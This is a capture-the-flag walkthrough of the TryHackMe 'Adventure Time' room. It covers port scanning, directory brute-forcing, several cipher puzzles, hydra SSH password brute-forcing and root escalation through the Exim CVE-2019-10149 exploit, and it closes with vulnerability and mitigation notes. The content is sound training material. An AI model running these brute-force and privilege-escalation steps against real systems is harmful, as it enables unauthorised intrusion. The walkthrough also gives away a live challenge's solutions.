Summary
Adventure Time is a hard-rated TryHackMe box themed around the cartoon, with a heavy focus on multi-layered encoding/decoding puzzles, steganography, and lateral movement through several user accounts before reaching root. The attack path begins with FTP anonymous login retrieving six JPEG images whose EXIF XP Comment fields encode binary fragments, which concatenate to a hint phrase. A chain of web pages hosted at land-of-ooo.com — discovered by following the SSL certificate clue from the HTTPS vhost — delivers credentials through Morse code, AES decryption, Vigenère cipher, and a Spoon (esoteric binary language) challenge. Each credential unlocks the next user. The final privilege escalation abuses a SUID-root exim4 binary vulnerable to CVE-2019-10149 (The Return of the WIZard), landing a root shell and the BMO reset code hidden in Bubblegum's home directory.
Attack Chain
1. Recon
rustscan -a MACHINE_IP --ulimit 5000
Open MACHINE_IP:21
Open MACHINE_IP:22
Open MACHINE_IP:80
Open MACHINE_IP:443
Open MACHINE_IP:31337
nmap -sC -sV MACHINE_IP -p 21,22,80,443,31337
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp 1401357 Sep 21 2019 1.jpg
| -r--r--r-- 1 ftp ftp 233977 Sep 21 2019 2.jpg
| -r--r--r-- 1 ftp ftp 524615 Sep 21 2019 3.jpg
| -r--r--r-- 1 ftp ftp 771076 Sep 21 2019 4.jpg
| -r--r--r-- 1 ftp ftp 1644395 Sep 21 2019 5.jpg
|_-r--r--r-- 1 ftp ftp 40355 Sep 21 2019 6.jpg
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29
|_http-title: 404 Not Found
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: You found Finn
| ssl-cert: Subject: commonName=adventure-time.com/organizationName=Candy Corporate Inc.
31337/tcp open Elite?
| fingerprint-strings:
| GenericLines, NULL:
| Hello Princess Bubblegum. What is the magic word?
Port 31337 is a custom TCP service that prompts for a "magic word". Port 80 returns 404. Port 443 has a self-signed cert for adventure-time.com.
2. FTP anonymous login - EXIF binary decode
ftp MACHINE_IP 21
Name: anonymous
230 Login successful.
ftp> prompt off
ftp> mget *
Six JPEGs downloaded. All have binary data embedded in the XP Comment EXIF field:
exiftool *.jpg | grep "XP Comment"
XP Comment : 01111001 01101111 01110101 00100000
XP Comment : 01110010 01100101 01100001 01101100 01101100 01111001 00100000
XP Comment : 01101100 01101001 01101011 01100101 00100000
XP Comment : 01110100 01101111 00100000
XP Comment : 01110000 01110101 01111010 01111010 01101100 01100101 00100000
XP Comment : 01100100 01101111 01101110 00100111 01110100 00100000 01111001 01100001
Decoding each binary sequence and concatenating:
1.jpg →
you2.jpg →
really3.jpg →
like4.jpg →
to5.jpg →
puzzle6.jpg →
don't ya
Result: "you really like to puzzle don't ya"
Tried this as the magic word on port 31337 - rejected. It's a clue, not the answer itself.
nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
you really like to puzzle don't ya
The magic word is not you really like to puzzle don't ya
3. Web enumeration - HTTPS vhost
Port 80 (HTTP) returns 404. Port 443 (HTTPS) serves content:
curl -k https://MACHINE_IP/
<title>You found Finn</title>
<img src="finn-1.png" alt="the magic word" style="width: 100%">
The SSL cert's commonName=adventure-time.com is the clue. Added adventure-time.com to /etc/hosts. Gobuster against the HTTPS service:
gobuster dir -u https://MACHINE_IP/ -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
candybar (Status: 301) [Size: 321] [--> https://MACHINE_IP/candybar/]
curl -k https://MACHINE_IP/candybar/
<title>Where is Jake?</title>
<img src="finn-2.png" alt="the magic word" style="width: 100%">
<!-- KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4=== -->
Decoding the HTML comment:
echo 'KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4===' | base32 -d
Palpnh rwtrz iwt HHA rtgixuxrpit udg rajth.
Applying Caesar cipher with shift -15 decodes to: "ALWAYS CHECK THE SSL CERTIFICATE FOR CLUES"
The certificate confirmed adventure-time.com / land-of-ooo.com as the target domain.
4. Enumerating land-of-ooo.com
ffuf -u https://land-of-ooo.com/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
yellowdog [Status: 301, Size: 322]
curl -k https://land-of-ooo.com/yellowdog/
<title>To find a password</title>
<img src="jake-2.png" alt="what is the password?" style="width: 100%">
ffuf -u https://land-of-ooo.com/yellowdog/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
bananastock [Status: 301]
The /yellowdog/bananastock/ page displayed two Banana Guards with their password rendered as Morse code using / as dot delimiter and \ as word delimiter. Decoded in CyberChef (From Morse Code, Letter delimiter: Forward slash, Word delimiter: Backslash):
"THE BANANAS ARE THE BEST!!!"
ffuf -u https://land-of-ooo.com/yellowdog/bananastock/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
princess [Status: 301]
curl -k https://land-of-ooo.com/yellowdog/bananastock/princess/
<title>What secret safe?</title>
<!--
Secrettext = 0008f1a92d287b48dccb5079eac18ad2a0c59c22fbc7827295842f670cdb3cb645de3de794320af132ab341fe0d667a85368d0df5a3b731122ef97299acc3849cc9d8aac8c3acb647483103b5ee44166
Key = my cool password
IV = abcdefghijklmanopqrstuvwxyz
Mode = CBC
Input = hex
Output = raw
-->
Decrypted in CyberChef (AES Decrypt, CBC, Hex input):
"the magic safe is accessibel at port 31337. the magic word is: ricardio"
5. Port 31337 - get SSH username
nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
ricardio
The new username is: apple-guards
6. SSH as apple-guards
ssh apple-guards@land-of-ooo.com
apple-guards@land-of-ooo.com's password: THE BANANAS ARE THE BEST!!!
apple-guards@at:~$ whoami
apple-guards
apple-guards@at:~$ id
uid=1009(apple-guards) gid=1009(apple-guards) groups=1009(apple-guards)
apple-guards@at:~$ cat flag1
tryhackme{REDACTED}
apple-guards@at:~$ cat flag.txt
tryhackme{REDACTED}
Checked mail:
apple-guards@at:~$ cat mbox
From: marceline@at
Subject: Need help???
Hi there bananaheads!!!
I heard Princess B revoked your access to the system. Bummer!
But I'll help you guys out.....doesn't cost you a thing.....well almost nothing.
I hid a file for you guys. If you get the answer right, you'll get better access.
apple-guards@at:~$ find / -type f -user marceline 2>/dev/null
/etc/fonts/helper
apple-guards@at:~$ ls -la /etc/fonts/helper
-rwxr-x--- 1 marceline apple-guards 16616 sep 20 2019 /etc/fonts/helper
7. Marceline's helper puzzle - Vigenère decode
apple-guards@at:~$ /etc/fonts/helper
======================================
BananaHead Access Pass
created by Marceline
======================================
The key to solve this puzzle is gone
And you need the key to get this readable: Gpnhkse
Did you solve the puzzle? yes
What is the word I'm looking for? Abadeer
That's it!!!! You solved my puzzle
Don't tell princess B I helped you guys!!!
My password is 'My friend Finn'
Vigenère decode of Gpnhkse with key gone (CyberChef) → "Abadeer"
8. SSH/su as marceline
apple-guards@at:~$ su marceline
Password: My friend Finn
marceline@at:~$ cat flag2
tryhackme{REDACTED}
marceline@at:~$ cat I-got-a-secret.txt
...
111111111100100010101011101011111110101111111111011011011011000001101001001011111111111111001010010111100101000000000000101001101111001010010010111111110010100000000000000000000000000000000000000010101111110010101100101000000000000000000000101001101100101001001011111111111111111111001010000000000000000000000000001010111001010000000000000000000000000000000000000000000001010011011001010010010111111111111111111111001010000000000000000000000000000000001010111111001010011011001010010111111111111100101001000000000000101001111110010100110010100100100000000000000000000010101110010100010100000000000000010100000000010101111100101001111001010011001010010000001010010100101011100101001101100101001011100101001010010100110110010101111111111111111111111111111111110010100100100000000000010100010100111110010100000000000000000000000010100111111111111111110010100101111001010000000000000001010
The binary string is Spoon (an esoteric Brainfuck-derived language using only +, -, >, <, [, ], ., , encoded as binary). Decoded via dCode's Spoon interpreter:
"the magic word you are looking for is ApplePie"
9. Port 31337 again - get peppermint-butler password
nc land-of-ooo.com 31337
Hello Princess Bubblegum. What is the magic word?
ApplePie
The password of peppermint-butler is: That Black Magic
10. su peppermint-butler
marceline@at:~$ su peppermint-butler
Password: That Black Magic
peppermint-butler@at:~$ cat flag3
tryhackme{REDACTED}
peppermint-butler@at:~$ ls -la
-rw------- 1 peppermint-butler peppermint-butler 85555 sep 21 2019 butler-1.jpg
-rw-r----- 1 peppermint-butler peppermint-butler 28 sep 22 2019 flag3
peppermint-butler@at:~$ find / -type f -user peppermint-butler 2>/dev/null | grep -v proc
/usr/share/xml/steg.txt
/etc/php/zip.txt
/home/peppermint-butler/flag3
/home/peppermint-butler/butler-1.jpg
peppermint-butler@at:~$ cat /usr/share/xml/steg.txt
...
The password of my secret file is 'ToKeepASecretSafe'
peppermint-butler@at:~$ cat /etc/php/zip.txt
...
The password of my secret file is 'ThisIsReallySave'
Two different passwords - one for steghide, one for the zip.
Served the image to the attacker machine:
peppermint-butler@at:~$ python3 -m http.server 8000
wget http://land-of-ooo.com:8000/butler-1.jpg
steghide extract -sf butler-1.jpg
Enter passphrase: ToKeepASecretSafe
wrote extracted data to "secrets.zip".
unzip secrets.zip
[secrets.zip] secrets.txt password: ThisIsReallySave
cat secrets.txt
...
I think I saw him type in something.
It was unclear, but it was something like 'The Ice King s????'.
The last 4 letters where a blur.
11. Bruteforce gunter's SSH password
Peppermint Butler's image had no useful EXIF. The hint from secrets.txt gives a partial password pattern for user gunter.
crunch 18 18 -t 'The Ice King s@@@@' > pass.txt
Crunch will now generate the following number of lines: 456976
hydra -l gunter -P pass.txt -t 4 ssh://MACHINE_IP
[22][ssh] host: MACHINE_IP login: gunter password: The Ice King sucks
12. su/SSH as gunter
peppermint-butler@at:~$ su gunter
Password: The Ice King sucks
gunter@at:~$ id
uid=1007(gunter) gid=1007(gunter) groups=1007(gunter),1012(gcc)
gunter@at:~$ cat flag4
tryhackme{REDACTED}
gunter is in the gcc group. Checking SUID binaries:
gunter@at:~$ find / -perm -4000 2>/dev/null
/usr/sbin/exim4
...
gunter@at:~$ ls -la /usr/sbin/exim4
-rwsr-xr-x 1 root 1011 1140200 feb 14 2018 /usr/sbin/exim4
gunter@at:~$ exim4 --version
Exim version 4.90_1 #4 built 14-Feb-2018 16:01:14
Exim 4.90_1 is vulnerable to CVE-2019-10149 (local privilege escalation via RCPT TO command injection). Exim was listening on localhost port 60000 (confirmed from /etc/exim4/update-exim4.conf.conf):
gunter@at:~$ ss -tlnp | grep 60000
LISTEN 0 20 127.0.0.1:60000 0.0.0.0:*
13. CVE-2019-10149 - SUID exim4 LPE to root
Used the public PoC (exploit-db 46996), modified the exec 3<>/dev/tcp/localhost/25 line to point to port 60000:
gunter@at:~$ nano cve-2019-10149.sh
gunter@at:~$ bash cve-2019-10149.sh
raptor_exim_wiz - "The Return of the WIZard" LPE exploit
Preparing setuid shell helper...
Delivering setuid payload...
220 at ESMTP Exim 4.90_1 Ubuntu Tue, 22 Sep 2026 13:44:25 +0200
250 at Hello localhost [127.0.0.1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1x8yvB-0001gJ-SI
221 at closing connection
Waiting 5 seconds...
-rwsr-xr-x 1 root gunter 8504 sep 22 13:44 /tmp/pwned
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1007(gunter),1012(gcc)
14. Final flag - BMO reset code
# cd /home/bubblegum/Secrets
# cat bmo.txt
Secret project number: 211243A
Name opbject: BMO
Rol object: Spy
In case of emergency use resetcode: tryhackme{REDACTED}
Key Vulnerabilities
Sensitive data in EXIF metadata - Binary-encoded credentials/clues were embedded in the XP Comment field of publicly accessible FTP images, relying on obscurity rather than any real access control.
Unauthenticated multi-stage web puzzle leaking credentials - The
land-of-ooo.comweb chain encoded the SSH username and password behind several layers of encoding (Morse, AES, base32+Caesar) with all decryption parameters embedded in the HTML comments of the same pages. The AES key, IV, mode, and ciphertext were all provided in the same page source.Weak access-control binary (
/etc/fonts/helper) - An executable owned bymarcelinewas accessible to theapple-guardsgroup and unconditionally printed a password after the user answered a trivial cipher puzzle, with no authentication.Credentials embedded in a Spoon script stored in a readable file - The peppermint-butler password was obtainable by anyone who could read
I-got-a-secret.txtin Marceline's home directory and knew how to decode Spoon.Steganography as the only secret protection - The gunter password hint was hidden in
secrets.zipbehind a steghide-extracted image; once the steghide and zip passwords were found in world-readable files (/usr/share/xml/steg.txt,/etc/php/zip.txt), the hint was trivially extractable.Weak partial-password pattern enabling brute-force - The password
The Ice King sucksfollowed a known prefix (The Ice King s) with only four lowercase letter positions unknown, making a 456,976-candidate wordlist trivial to generate and brute-force over SSH.SUID root exim4 vulnerable to CVE-2019-10149 - Exim 4.90_1, running as a SUID-root binary, contains a command injection flaw in RCPT TO address handling (The Return of the WIZard). Any local user who can reach the SMTP port can exploit this to execute arbitrary commands as root.
Mitigations
Never embed credentials, encoding keys, or puzzle answers in publicly accessible metadata (EXIF), HTML comments, or world-readable files. Use proper secrets management.
Do not rely on multi-layer encoding (Morse, Caesar, AES with embedded keys) as a substitute for authentication. Credentials should be gated by actual access controls, not obscurity.
Restrict access to password-revealing helper binaries to specific authenticated users rather than entire groups, and require stronger proof of identity than a trivial cipher puzzle.
Keep all network-facing and SUID services patched. Exim 4.90_1 was already known-vulnerable at the time of room creation (CVE-2019-10149 was published in June 2019); updating to a patched release removes the LPE entirely.
Avoid using predictable password patterns (known prefix + short suffix). Enforce a password policy that prevents partial-knowledge brute-force attacks.
Run mail transfer agents (like exim) as unprivileged users rather than with SUID root; use capability-based privilege separation instead.
